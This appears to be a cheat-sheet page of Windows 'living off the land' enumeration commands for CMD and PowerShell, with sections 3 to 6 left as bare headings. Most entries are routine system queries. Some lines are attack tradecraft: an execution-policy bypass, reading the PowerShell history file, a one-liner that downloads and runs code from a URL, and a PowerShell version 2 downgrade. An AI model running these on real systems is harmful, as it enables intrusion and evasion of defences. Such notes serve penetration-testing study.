living-of-the-land
Key Concepts:
1. Basic Enumeration Commands (CMD)
hostname # Prints the PC's name
[System.Environment]::OSVersion.Version # Prints the OS version
wmic qfe get Caption,Description,HotFixID,InstalledOn # Prints installed patches
ipconfig /all # Displays network adapter configurations
set # Lists environment variables
echo %USERDOMAIN% # Displays the domain name
echo %logonserver% # Prints the domain controller name
systeminfo # Provides a summary of host information2. PowerShell Enumeration
Get-Module # Lists loaded modules
Get-ExecutionPolicy -List # Prints execution policy settings
Set-ExecutionPolicy Bypass -Scope Process # Bypasses execution policy for the current process
Get-ChildItem Env: | ft Key,Value # Returns environment variables
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt # Retrieves PowerShell history
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL'); <commands>" # Downloads and executes a file from a URL
powershell.exe -version 2 # Downgrades PowerShell to version 2
Get-MpComputerStatus # Retrieves Windows Defender status
qwinsta # Lists active sessions3. Network Enumeration
4. Windows Management Instrumentation (WMI)
5. Net Commands
6. Dsquery Enumeration
Key Takeaways
Last updated